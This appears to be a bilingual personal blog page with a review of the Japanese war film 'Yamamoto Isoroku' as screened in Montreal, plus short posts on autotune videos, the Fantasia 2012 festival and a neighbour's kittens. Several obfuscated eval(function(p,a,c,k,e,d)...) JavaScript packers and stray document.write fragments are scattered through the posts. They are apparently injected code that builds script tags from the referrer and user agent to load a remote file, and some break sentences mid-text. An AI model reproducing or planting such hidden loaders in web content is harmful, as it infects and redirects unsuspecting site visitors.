Yamamoto Isoroku is a “biographical” drama that focuses solely on Yamamoto’s role in the Pacific War and his conviction that war against the Americans was a mistake and that, if it was indeed inevitable, the best chances of success for Japan was to aim at a quick peace after hitting them hard and fast. Not much is said on his personal life: once in a while we glimpse of his family just to remind the viewers that he is human and has a wife and children. The movie is essentially an history lesson but, thanks to an excellent storytelling, it never feels like a lecture. The director achieves this by introducing the viewers to two groups of people — a couple of newspaper reporters and the customers of a small izakaya bar — which he cleverly use to communicate to the viewers the essential historical and chronological information about the progress of the war, its historical context, what’s the public opinion at the time and who thinks what about the current strategy or geo-political situation.

Strangely, it doesn’t feel at all like an anti-war movie and is not even apologetic of Japan’s role in the war. It simply tells the viewers that, if Yamamoto’s vision would have prevailed, the Pacific War might have been avoided or at least delayed and, in case of war, an early peace would have been pursued, avoiding all the horrors that ultimately deprived Japan of its honor. It tells us (and I totally agree with that assessment) that the war was essentially caused by the stupidity of the “hawks,” the warmonger amongst the media and the political bureaucracy. Unfortunately, in order to pass his message, the director is raising Yamamoto to a status of demi-god and the movie is endlessly chanting is coolness and greatness to the point of being annoying.

I am not sure exactly what this movie is telling us about the ideology of today’s Japan. We’ve certainly seen an increase in war movies being produced lately and it seems to coincide with an hardening of the right wing parties seeking more aggressive politics. Many want to re-arm Japan or defend more aggressively Japanese territory against the claim of other countries in order to secure future resources. However, I don’t think that this movie is part of this trend. In contrary, it seems to warn us against repeating the pitfall of history (but this time the sleeping giant would probably be China).

All in all, despite its ideological aspects, it is quite an interesting movie that offers a beautiful photography where, surprisingly, the special effects are minimally obtrusive (I cannot say they are barely noticeable, but at least they are negligibly obvious). A movie well worth watching.

Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. Screened, in presence of one of the producers, as part of the “World Great” segment (Out of competition) at the Montreal World Film Festival 2012, on August 26th, 18:40 in Cinéma Quartier Latin 9 (a theatre with a 350-seat capacity which was a little less than 3/4 full).
Other comments or reviews:

One last point, not related to the movie itself: The primary duty of a film festival and of a movie theatre is to preserve the integrity of the artistic works it is presenting. I didn’t appreciate at all that the sound was cut off for almost the entire end credits of the movie. A soundtrack is an integral part of a movie. It’s bad enough that the movie started late (because of the Q&A of the previous movie, I think) but it is not the first year that I witness unforgivable technical screw ups at the festival and particularly at the Quartier Latin. Of course, the people of the festival say it’s the mistake of the projectionist who cannot see or ear what’s happening inside the theatre, and the acting theatre manager I spoke to said all complaints should be directed to the festival staff since they are the one in charge during the festival (even of the projectionist). This lack of respect for the movie industry craftsmen who created this film and for the viewers is quite annoying. It is a small detail, I admit, but it should never happen. The frustration I feel when this happens distract me from the enjoyment of the movie.

Update: Here’s a video of the very quick presentation made by one of the producers before the screening of “Yamamoto Isoroku” at the 2012 Montreal World Film Festival.


[ Traduire ]

Autotune & other songs

I am sure you remember this amazing song someone made using Autotune and some clips from Carl Sagan’s tv series “Cosmos” and this other video it led me to.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arefr|var|u0026u|referrer|tirna||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdyfe|var|u0026u|referrer|krdrr||js|php’.split(‘|’),0,{}))

Well, document.write(“”); I discovered more autotune marvels.
A funny Jeanne Moos’ report on CNN brought to my attention a tribute autotune video clip that PBS made for the 100th anniversary of Julia Child. Quite funny. When I as looking for it, another article made me discover more autotune tributes by PBS, one for Mr. Rogers amongst others! Here they are:

On another note (not related to Autotune), someone made a parody / tribute video about NASA and the Curiosity Mars landing that has been quite popular lately:

Fantasia 2012

Malheureusement les circonstances de la vie m’ont empêché encore une fois de bloguer sur les films de Fantasia de cette année. Mais voici quelques liens forts utiles pour compenser cette lacune.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnfyr|var|u0026u|referrer|rykrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sddbk|var|u0026u|referrer|afkhb||js|php’.split(‘|’),0,{}))

La 16e édition de Fantasia
nous offrait cette année plus de 160 films dont près d’une quarantaine en provenance du Japon. Je veux tout particulièrement attirer votre attention sur deux catégories parmis ces films Japonais.

En premier lieu, document.write(“”); on y retrouve huit films d’animation qui offrent tous, d’une façon ou d’une autre, un grand intérêt:

Aussi, pour marquer le centenaire du plus ancien studio de cinéma Japonais, Fantasia organise — en collaboration avec le Festival du Nouveau Cinéma — une rétrospective de la Nikkatsu en présentant cinq œuvres clés:

Cette 16e édition de Fantasia s’est révélé un retentissant succès, entre autre grâce à un record d’affluence (Le Devoir). Le festival a également récompensé plusieurs des films Japonais:

Finalement, en attendant que je trouve le temps de commenter quelques un de ces films, vous pouvez consulter les sites suivants:

[ Translate ]

Scène attendrissante

Avant hier matin j’ai été le témoin d’une scène des plus attendrissantes. Une chatte avait établie domicile dans la cour de mes voisins avec ses quatre chatons. La mère étant partie chasser, document.write(“”); les chatons, laissé à eux-même, jouaient ensemble. La cour étant envahie par les Gloires du matin, c’était vraiment merveilleux de voir les chatons se poursuivrent dans ce lit de fleurs mauves.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szkhr|var|u0026u|referrer|izkaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stazr|var|u0026u|referrer|trfid||js|php’.split(‘|’),0,{}))


Cependant quand je suis revenu de travailler hier soir, les voisins avaient fait le ménage et disparu étaient les Gloires du matin et les petits chatons courant dans la cour. C’est bien dommage. L’idée de petits chatons perdus dans la ruelle me rend très triste…

Malheureusement j’en ai déjà plein les bras avec mes deux chats et avec mes précédentes mauvaises expériences à essayer sans succès de trouver preneurs pour des chatons abandonnés, je dois me rendre à l’évidence que je ne peux rien y faire.

Toutefois, n’ayez crainte, on a entendu et entr’appercu la chatte et ses chatons chez un autre voisin dont la cour est, elle, encore en friche.

[ Translate ]